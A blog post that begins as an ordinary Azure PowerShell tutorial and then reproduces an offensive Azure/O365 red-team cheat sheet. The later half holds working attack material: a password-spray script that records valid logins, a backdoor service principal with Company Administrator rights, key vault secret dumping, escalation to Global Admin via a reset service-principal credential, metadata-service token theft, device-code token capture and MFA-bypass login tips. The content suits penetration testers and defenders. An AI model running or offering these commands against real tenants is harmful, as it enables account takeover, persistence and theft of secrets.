What is Azure PowerShell?
Azure PowerShell is a set of cmdlets (command-lets) for managing Azure resources from the PowerShell command line. It provides a comprehensive and powerful toolset for managing Azure resources, including virtual machines, storage accounts, databases, and networking components. Azure PowerShell is widely used by IT professionals to automate tasks, manage complex deployments, and troubleshoot Azure issues.
What is cmdlets?
Cmdlets, pronounced “command-lets”, are the smallest unit of functionality in PowerShell. They are lightweight commands that are used in the PowerShell environment. Each cmdlet is a .NET Framework class that packages a specific set of functionality. Cmdlets follow a verb-noun naming pattern, such as Get-Help, Get-Process, and Start-Service, which makes them self-descriptive and easy to understand. They are designed to do one thing and do it well, with a consistent interface that makes it easy to chain together in scripts for more complex tasks. Cmdlets can be used to perform operations like managing system processes, reading and writing files, and manipulating data structures.
Install Azure PowerShell on Windows
1. Run the following command from PowerShell to determine your PowerShell version:
$PSVersionTable.PSVersion
2. Determine if you have the AzureRM PowerShell module installed
Get-Module -Name AzureRM -ListAvailable
3. Update to Windows PowerShell 5.1
4. Install .NET Framework 4.7.2 or later
5. Set the PowerShell script execution to remote signed or less restrictive. Check the PowerShell execution policy:
Get-ExecutionPolicy -List
6. Set the PowerShell execution policy to remote signed:
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
7. Copy and Paste the following command to install this package using PowerShellGet
Install-Module -Name Az
or
Install-Module -Name Az -Repository PSGallery -Force
8. To update
Update-Module -Name Az
Install Azure PowerShell on Linux
Open the Terminal or other shell host application and run pwsh to start PowerShell.
Use the Install-Module cmdlet to install the Az PowerShell module:
Install-Module -Name Az -Repository PSGallery -Force
PowerShell Commands List
Here are 25 basic PowerShell commands:
Command name | Alias | Description |
---|---|---|
Set-Location | cd, chdir, sl | Sets the current working location to a specified location. |
Get-Content | cat, gc, type | Gets the content of the item at the specified location. |
Add-Content | ac | Adds content to the specified items, such as adding words to a file. |
Set-Content | sc | Writes or replaces the content in an item with new content. |
Copy-Item | copy, cp, cpi | Copies an item from one location to another. |
Remove-Item | del, erase, rd, ri, rm, rmdir | Deletes the specified items. |
Move-Item | mi, move, mv | Moves an item from one location to another. |
Set-Item | si | Changes the value of an item to the value specified in the command. |
New-Item | ni | Creates a new item. |
Start-Job | sajb | Starts a Windows PowerShell background job. |
Compare-Object | compare, dif | Compares two sets of objects. |
Group-Object | group | Groups objects that contain the same value for specified properties. |
Invoke-WebRequest | curl, iwr, wget | Gets content from a web page on the Internet. |
Measure-Object | measure | Calculates the numeric properties of objects, and the characters, words, and lines in string objects, such as files … |
Resolve-Path | rvpa | Resolves the wildcard characters in a path, and displays the path contents. |
Resume-Job | rujb | Restarts a suspended job |
Set-Variable | set, sv | Sets the value of a variable. Creates the variable if one with the requested name does not exist. |
Show-Command | shcm | Creates Windows PowerShell commands in a graphical command window. |
Sort-Object | sort | Sorts objects by property values. |
Start-Service | sasv | Starts one or more stopped services. |
Start-Process | saps, start | Starts one or more processes on the local computer. |
Suspend-Job | sujb | Temporarily stops workflow jobs. |
Wait-Job | wjb | Suppresses the command prompt until one or all of the Windows PowerShell background jobs running in the session are … |
Where-Object | ?, where | Selects objects from a collection based on their property values. |
Write-Output | echo, write | Sends the specified objects to the next command in the pipeline. If the command is the last command in the pipeline,… |
Azure Powershell Commands and Cheat Sheet
# To log in to Azure Resource Manager | |
Login-AzureRmAccount | |
# You can also use a specific Tenant if you would like a faster log in experience | |
# Login-AzureRmAccount -TenantId xxxx | |
# To view all subscriptions for your account | |
Get-AzureRmSubscription | |
# To select a default subscription for your current session. | |
# This is useful when you have multiple subscriptions. | |
Get-AzureRmSubscription -SubscriptionName "your sub" | Select-AzureRmSubscription | |
# View your current Azure PowerShell session context | |
# This session state is only applicable to the current session and will not affect other sessions | |
Get-AzureRmContext | |
# To select the default storage context for your current session | |
Set-AzureRmCurrentStorageAccount -ResourceGroupName "your resource group" -StorageAccountName "your storage account name" | |
# View your current Azure PowerShell session context | |
# Note: the CurrentStorageAccount is now set in your session context | |
Get-AzureRmContext | |
# To list all of the blobs in all of your containers in all of your accounts | |
Get-AzureRmStorageAccount | Get-AzureStorageContainer | Get-AzureStorageBlob | |
# Install the Azure Resource Manager modules from the PowerShell Gallery | |
Install-Module AzureRM -Scope CurrentUser | |
# Install the Azure Service Management module from the PowerShell Gallery | |
Install-Module Azure -Scope CurrentUser | |
# To make sure the Azure PowerShell module is available after you install | |
Get-Module -ListAvailable Azure* | |
# Enable access from Remote | |
Set-ExecutionPolicy RemoteSigned | |
## Installation | |
### PowerShell Gallery | |
Run the following command in a PowerShell session to install the Az PowerShell module: | |
```powershell | |
Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -Force | |
``` | |
[The latest version of PowerShell 7][PowerShellCore] is the recommended version of PowerShell for | |
use with the Az PowerShell module on all platforms including Windows, Linux, and macOS. This module | |
also runs on Windows PowerShell 5.1 with [.NET Framework 4.7.2][DotNetFramework] or higher. | |
The `Az` module replaces `AzureRM`. You should not install `Az` side-by-side with `AzureRM`. | |
If you have an earlier version of the Azure PowerShell module installed from the PowerShell Gallery | |
and would like to update to the latest version, run the following command in a PowerShell session: | |
```powershell | |
Update-Module -Name Az -Scope CurrentUser -Force | |
``` | |
`Update-Module` installs the new version side-by-side with previous versions. It does not uninstall | |
the previous versions. | |
For more information on installing Azure PowerShell, see the | |
[installation guide][InstallationGuide]. | |
## Usage | |
### Log into Azure | |
To connect to Azure, use the [`Connect-AzAccount`][ConnectAzAccount] cmdlet: | |
```powershell | |
# Opens a new browser window to log into your Azure account. | |
Connect-AzAccount | |
# Log in with a previously created service principal. Use the application ID as the username, and the secret as password. | |
$Credential = Get-Credential | |
Connect-AzAccount -ServicePrincipal -Credential $Credential -TenantId $TenantId | |
``` | |
To log into a specific cloud (_AzureChinaCloud_, _AzureCloud_, _AzureUSGovernment_), use the | |
`Environment` parameter: | |
```powershell | |
# Log into a specific cloud, for example the Azure China cloud. | |
Connect-AzAccount -Environment AzureChinaCloud | |
``` | |
### Session context | |
A session context persists login information across Azure PowerShell modules and PowerShell | |
instances. Use the [`Get-AzContext`][GetAzContext] cmdlet to view the context you are using in the | |
current session. The results contain the Azure tenant and subscription. | |
```powershell | |
# Get the Azure PowerShell context for the current PowerShell session | |
Get-AzContext | |
# Lists all available Azure PowerShell contexts in the current PowerShell session | |
Get-AzContext -ListAvailable | |
``` | |
To get the subscriptions in a tenant, use the [`Get-AzSubscription`][GetAzSubscription] cmdlet: | |
```powershell | |
# Get all of the Azure subscriptions in your current Azure tenant | |
Get-AzSubscription | |
# Get all of the Azure subscriptions in a specific Azure tenant | |
Get-AzSubscription -TenantId $TenantId | |
``` | |
To change the subscription that you are using for your current context, use the | |
[`Set-AzContext`][SetAzContext] cmdlet: | |
```powershell | |
# Set the Azure PowerShell context to a specific Azure subscription | |
Set-AzContext -Subscription $SubscriptionName -Name 'MyContext' | |
# Set the Azure PowerShell context using piping | |
Get-AzSubscription -SubscriptionName $SubscriptionName | Set-AzContext -Name 'MyContext' | |
``` | |
For details on Azure PowerShell contexts, see [Azure PowerShell context objects][PersistedCredentialsGuide]. | |
### Discovering cmdlets | |
Use `Get-Command` to discover cmdlets within a specific module, or cmdlets that follow a specific | |
search pattern: | |
```powershell | |
# List all cmdlets in the Az.Accounts module | |
Get-Command -Module Az.Accounts | |
# List all cmdlets that contain VirtualNetwork in their name | |
Get-Command -Name '*VirtualNetwork*' | |
# List all cmdlets that contain VM in their name in the Az.Compute module | |
Get-Command -Module Az.Compute -Name '*VM*' | |
``` | |
### Cmdlet help and examples | |
To view the help content for a cmdlet, use the `Get-Help` cmdlet: | |
```powershell | |
# View basic help information for Get-AzSubscription | |
Get-Help -Name Get-AzSubscription | |
# View the examples for Get-AzSubscription | |
Get-Help -Name Get-AzSubscription -Examples | |
# View the full help for Get-AzSubscription | |
Get-Help -Name Get-AzSubscription -Full | |
# View the online version of the help from https://learn.microsoft.com for Get-AzSubscription | |
Get-Help -Name Get-AzSubscription -Online | |
``` | |
For detailed instructions on using Azure PowerShell, see the [getting started guide][GettingStartedGuide]. | |
## Reporting Issues and Feedback | |
### Issues | |
If you find any bugs when using Azure PowerShell, file an issue in our [GitHub repo][GitHubRepo]. | |
Fill out the issue template with the appropriate information. | |
Alternatively, see [Azure Community Support][AzureCommunitySupport] if you | |
have issues with Azure PowerShell or Azure services. | |
### Feedback | |
If there is a feature you would like to see in Azure PowerShell, use the | |
[`Send-Feedback`][SendFeedback] cmdlet, or file an issue in our [GitHub repo][GitHubRepo]. | |
## Contributing | |
For details on contributing to this repository, see the [contributing guide][Contributing] and the [_Azure PowerShell Developer Guide_][DeveloperGuide]. | |
This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit | |
https://cla.microsoft.com. | |
When you submit a pull request, a CLA-bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., label, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repositories using our CLA. | |
This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additional questions or comments. | |
## Telemetry | |
Azure PowerShell collects telemetry data by default. Microsoft aggregates collected data to identify | |
patterns of usage to identify common issues and to improve the experience of Azure PowerShell. | |
Microsoft Azure PowerShell does not collect any private or personal data. For example, the usage | |
data helps identify issues such as cmdlets with low success and helps prioritize our work. While we | |
appreciate the insights this data provides, we also understand that not everyone wants to send usage | |
data. You can disable data collection with the | |
[`Disable-AzDataCollection`][DisableAzDataCollection] cmdlet. To learn more, see our | |
[privacy statement][PrivacyStatement]. | |
## Microsoft Azure & O365 CLI Tool Cheatsheet | |
By Beau Bullock (@dafthack) | |
### Recon | |
Get Federation info for target domain | |
``` | |
https://login.microsoftonline.com/getuserrealm.srf?login=username@targetdomain.com&xml=1 | |
``` | |
Get Tenant ID for a target domain | |
``` | |
https://login.microsoftonline.com/<target domain>/v2.0/.well-known/openid-configuration | |
``` | |
### Az PowerShell Module | |
```powershell | |
Import-Module Az | |
``` | |
#### Authentication | |
```powershell | |
Connect-AzAccount | |
## Or this way sometimes gets around MFA restrictions | |
$credential = Get-Credential | |
Connect-AzAccount -Credential $credential | |
``` | |
Import a context file | |
```powershell | |
Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json' | |
``` | |
Export a context file | |
```powershell | |
Save-AzContext -Path C:\Temp\AzureAccessToken.json | |
``` | |
#### Account Information | |
List the current Azure contexts available | |
```powershell | |
Get-AzContext -ListAvailable | |
``` | |
Get context details | |
```powershell | |
$context = Get-AzContext | |
$context.Name | |
$context.Account | |
``` | |
List subscriptions | |
```powershell | |
Get-AzSubscription | |
``` | |
Choose a subscription | |
```powershell | |
Select-AzSubscription -SubscriptionID "SubscriptionID" | |
``` | |
Get the current user's role assignment | |
```powershell | |
Get-AzRoleAssignment | |
``` | |
List all resources and resource groups | |
```powershell | |
Get-AzResource | |
Get-AzResourceGroup | |
``` | |
List storage accounts | |
```powershell | |
Get-AzStorageAccount | |
``` | |
#### WebApps & SQL | |
List Azure web applications | |
```powershell | |
Get-AzAdApplication | |
Get-AzWebApp | |
``` | |
List SQL servers | |
```powershell | |
Get-AzSQLServer | |
``` | |
Individual databases can be listed with information retrieved from the previous command | |
```powershell | |
Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName | |
``` | |
List SQL Firewall rules | |
```powershell | |
Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName | |
``` | |
List SQL Server AD Admins | |
```powershell | |
Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName | |
``` | |
#### Runbooks | |
List Azure Runbooks | |
```powershell | |
Get-AzAutomationAccount | |
Get-AzAutomationRunbook -AutomationAccountName <AutomationAccountName> -ResourceGroupName <ResourceGroupName> | |
``` | |
Export a runbook with: | |
```powershell | |
Export-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName $ResourceGroupName -Name $RunbookName -OutputFolder .\Desktop\ | |
``` | |
Script to export all runbooks from all subscriptions | |
```powershell | |
$subs = Get-AzSubscription | |
Foreach($s in $subs){ | |
$subscriptionid = $s.SubscriptionId | |
mkdir .\$subscriptionid\ | |
Select-AzSubscription -Subscription $subscriptionid | |
$runbooks = @() | |
$autoaccounts = Get-AzAutomationAccount |Select-Object AutomationAccountName,ResourceGroupName | |
foreach ($i in $autoaccounts){ | |
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name | |
} | |
foreach($r in $runbooks){ | |
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\ | |
} | |
} | |
``` | |
#### Automation Account Job Outputs | |
Script to export all job outputs | |
```powershell | |
$subs = Get-AzSubscription | |
$jobout = @() | |
Foreach($s in $subs){ | |
$subscriptionid = $s.SubscriptionId | |
Select-AzSubscription -Subscription $subscriptionid | |
$jobs = @() | |
$autoaccounts = Get-AzAutomationAccount |Select-Object AutomationAccountName,ResourceGroupName | |
foreach ($i in $autoaccounts){ | |
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId | |
} | |
foreach($r in $jobs){ | |
Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId | |
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId | |
} | |
} | |
$jobout | out-file -Encoding ascii joboutputs.txt | |
``` | |
#### Virtual Machines | |
List VMs and get OS details | |
```powershell | |
Get-AzVM | |
$vm = Get-AzVM -Name "VM Name" | |
$vm.OSProfile | |
``` | |
Extract VM UserData | |
```powershell | |
$subs = Get-AzSubscription | |
$fulllist = @() | |
Foreach($s in $subs){ | |
$subscriptionid = $s.SubscriptionId | |
Select-AzSubscription -Subscription $subscriptionid | |
$vms = Get-AzVM | |
$list = $vms.UserData | |
$list | |
$fulllist += $list | |
} | |
$fulllist | |
``` | |
Run commands on VMs | |
```powershell | |
Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1 | |
``` | |
#### Networking | |
List virtual networks | |
```powershell | |
Get-AzVirtualNetwork | |
``` | |
List public IP addresses assigned to virtual NICs | |
```powershell | |
Get-AzPublicIpAddress | |
``` | |
Get Azure ExpressRoute (VPN) Info | |
```powershell | |
Get-AzExpressRouteCircuit | |
``` | |
Get Azure VPN Info | |
```powershell | |
Get-AzVpnConnection | |
``` | |
#### Backdoors | |
Create a new Azure service principal as a backdoor | |
```powershell | |
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner | |
$spn | |
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) | |
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) | |
$UnsecureSecret | |
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID> | |
$role = Get-MsolRole -RoleName "Company Administrator" | |
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId | |
#Enter the AppID as username and what was returned for $UnsecureSecret as the password in the Get-Credential prompt | |
$cred = Get-Credential | |
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal | |
``` | |
### MSOnline PowerShell Module | |
```powershell | |
Import-Module MSOnline | |
``` | |
#### Authentication | |
```powershell | |
Connect-MsolService | |
## Or this way sometimes gets around MFA restrictions | |
$credential = Get-Credential | |
Connect-MsolService -Credential $credential | |
``` | |
#### Account and Directory Information | |
List Company Information | |
```powershell | |
Get-MSolCompanyInformation | |
``` | |
List all users | |
```powershell | |
Get-MSolUser -All | |
``` | |
List all groups | |
```powershell | |
Get-MSolGroup -All | |
``` | |
List members of a group (Global Admins in this case) | |
```powershell | |
Get-MsolRole -RoleName "Company Administrator" | |
Get-MSolGroupMember –GroupObjectId $GUID | |
``` | |
List all user attributes | |
```powershell | |
Get-MSolUser –All | fl | |
``` | |
List Service Principals | |
```powershell | |
Get-MsolServicePrincipal | |
``` | |
One-liner to search all Azure AD user attributes for passwords | |
```powershell | |
$users = Get-MsolUser -All; foreach($user in $users){$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; foreach($prop in $props){if($user.$prop -like "*password*"){Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)}}} | |
``` | |
#### Function Apps | |
List Function App Hostnames | |
```powershell | |
$functionapps = Get-AzFunctionApp | |
foreach($f in $functionapps){ | |
$f.EnabledHostname | |
} | |
``` | |
Extract interesting Function Info | |
```powershell | |
$subs = Get-AzSubscription | |
$allfunctioninfo = @() | |
Foreach($s in $subs){ | |
$subscriptionid = $s.SubscriptionId | |
Select-AzSubscription -Subscription $subscriptionid | |
$functionapps = Get-AzFunctionApp | |
foreach($f in $functionapps){ | |
$allfunctioninfo += $f.config | select-object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter | |
$allfunctioninfo += $f.SiteConfig | fl | |
$allfunctioninfo += $f.ApplicationSettings | fl | |
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl | |
} | |
} | |
$allfunctioninfo | |
``` | |
#### Simple Password Spray Script with Az PowerShell Connect-AzAccount | |
This simple script works well for ADFS environments. Uses one pass per line in the passlist.txt file for spraying with unique values for each user such as username or employee ID. | |
```powershell | |
$userlist = Get-Content userlist.txt | |
$passlist = Get-Content passlist.txt | |
$linenumber = 0 | |
$count = $userlist.count | |
foreach($line in $userlist){ | |
$user = $line | |
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force | |
$current = $linenumber + 1 | |
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber]) | |
$linenumber++ | |
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass) | |
try | |
{ | |
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue | |
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1]) | |
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1] ) | |
} | |
catch | |
{ | |
$Failure = $_.Exception | |
if ($Failure -match "ID3242") | |
{ | |
continue | |
} | |
else | |
{ | |
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1] ) | |
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1]) | |
Add-Content valid-creds.txt $Failure.Message | |
Write-Host -ForegroundColor red $Failure.Message | |
} | |
} | |
} | |
``` | |
### Az CLI Tool | |
#### Authentication | |
```bash | |
az login | |
``` | |
Login to the account without subscription access | |
```bash | |
az login --allow-no-subscriptions | |
``` | |
#### Dump Azure Key Vaults | |
List out any key vault resources the current account can view | |
```bash | |
az keyvault list –query '[].name' --output tsv | |
``` | |
With contributor level access you can give yourself the right permissions to obtain secrets. | |
```bash | |
az keyvault set-policy --name <KeyVaultname> --upn <YourContributorUsername> --secret-permissions get list --key-permissions get list --storage-permissions get list --certificate-permissions get list | |
``` | |
Get URI for Key Vault | |
```bash | |
az keyvault secret list --vault-name <KeyVaultName> --query '[].id' --output tsv | |
``` | |
Get cleartext secret from keyvault | |
```bash | |
az keyvault secret show --id <URI from last command> | ConvertFrom-Json | |
``` | |
#### Invite a Guest User to Tenant via AZ CLI | |
```powershell | |
$Body="{'invitedUserEmailAddress':'Email Address to Invite', 'inviteRedirectUrl': 'https://portal.azure.com'}” | |
az rest --method POST --uri https://graph.microsoft.com/v1.0/invitations --headers "Content-Type=application/json" --body $Body | |
``` | |
Then use InvitationRedeemUrl to accept invite on guest user account | |
#### Service Principal Attack Path | |
Commands for resetting a service principal credential that has higher privileges and then using the service principal to create a new user in the tenant with global admin permissions. | |
Create a new credential for service principal | |
```bash | |
az ad sp credential reset --id <app_id> | |
az ad sp credential list --id <app_id> | |
``` | |
Login as a service principal using the password and app ID from previous command | |
```bash | |
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions | |
``` | |
Create a new user in the tenant | |
```bash | |
az ad user create --display-name <display name> --password <password> --user-principal-name <full upn> | |
``` | |
Add user to Global Admin group ID via MS Graph API: | |
```powershell | |
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}” | |
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body | |
``` | |
### Metadata Service URL | |
```bash | |
http://169.254.169.254/metadata | |
``` | |
Get access tokens from the metadata service | |
```bash | |
#### Managed Identity token retrieval | |
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing | |
#### full instance path information | |
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing | |
$instance | |
``` | |
## Microsoft Device Code Login via PowerShell | |
Reference: https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html | |
First, initiate a device code login and then navigate to https://microsoft.com/devicelogin and enter the code that is output from the script below. | |
```powershell | |
$body = @{ | |
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" | |
"resource" = "https://graph.microsoft.com" | |
} | |
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" | |
$Headers=@{} | |
$Headers["User-Agent"] = $UserAgent | |
$authResponse = Invoke-RestMethod ` | |
-UseBasicParsing ` | |
-Method Post ` | |
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` | |
-Headers $Headers ` | |
-Body $body | |
$authResponse | |
``` | |
After authenticating in the browser go back to your PowerShell terminal and run the below script to retrieve access tokens. | |
```powershell | |
$body=@{ | |
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" | |
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code" | |
"code" = $authResponse.device_code | |
} | |
$Tokens = Invoke-RestMethod ` | |
-UseBasicParsing ` | |
-Method Post ` | |
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` | |
-Headers $Headers ` | |
-Body $body | |
$Tokens | |
``` | |
### Other Azure & O365 Tools | |
#### MicroBurst | |
Azure security assessment tool | |
https://github.com/NetSPI/MicroBurst | |
Look for open storage blobs | |
```powershell | |
Invoke-EnumerateAzureBlobs -Base $BaseName | |
``` | |
Export SSL/TLS certs | |
```powershell | |
Get-AzPasswords -ExportCerts Y | |
``` | |
Azure Container Registry dump | |
```powershell | |
Get-AzPasswords | |
Get-AzACR | |
``` | |
#### PowerZure | |
Azure security assessment tool | |
https://github.com/hausec/PowerZure | |
#### ROADTools | |
Framework to interact with Azure AD | |
https://github.com/dirkjanm/ROADtools | |
#### Stormspotter | |
Red team tool for graphing Azure and Azure AD objects | |
https://github.com/Azure/Stormspotter | |
#### MSOLSpray | |
Tool to password spray Azure/O365 | |
https://github.com/dafthack | |
```powershell | |
Import-Module .\MSOLSpray.ps1 | |
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020 | |
``` | |
#### AzureHound | |
Tool to identify attack paths in Azure AD and AzureRM | |
https://github.com/BloodHoundAD/AzureHound | |
Run AzureHound with a refresh token: | |
```bash | |
./azurehound -r "0.ARwA6Wg..." list --tenant "tenant ID" -v 2 -o output.json | |
``` |
I’m a DevOps/SRE/DevSecOps/Cloud Expert passionate about sharing knowledge and experiences. I am working at Cotocus. I blog tech insights at DevOps School, travel stories at Holiday Landmark, stock market tips at Stocks Mantra, health and fitness guidance at My Medic Plus, product reviews at I reviewed , and SEO strategies at Wizbrand.
Please find my social handles as below;
Rajesh Kumar Personal Website
Rajesh Kumar at YOUTUBE
Rajesh Kumar at INSTAGRAM
Rajesh Kumar at X
Rajesh Kumar at FACEBOOK
Rajesh Kumar at LINKEDIN
Rajesh Kumar at PINTEREST
Rajesh Kumar at QUORA
Rajesh Kumar at WIZBRAND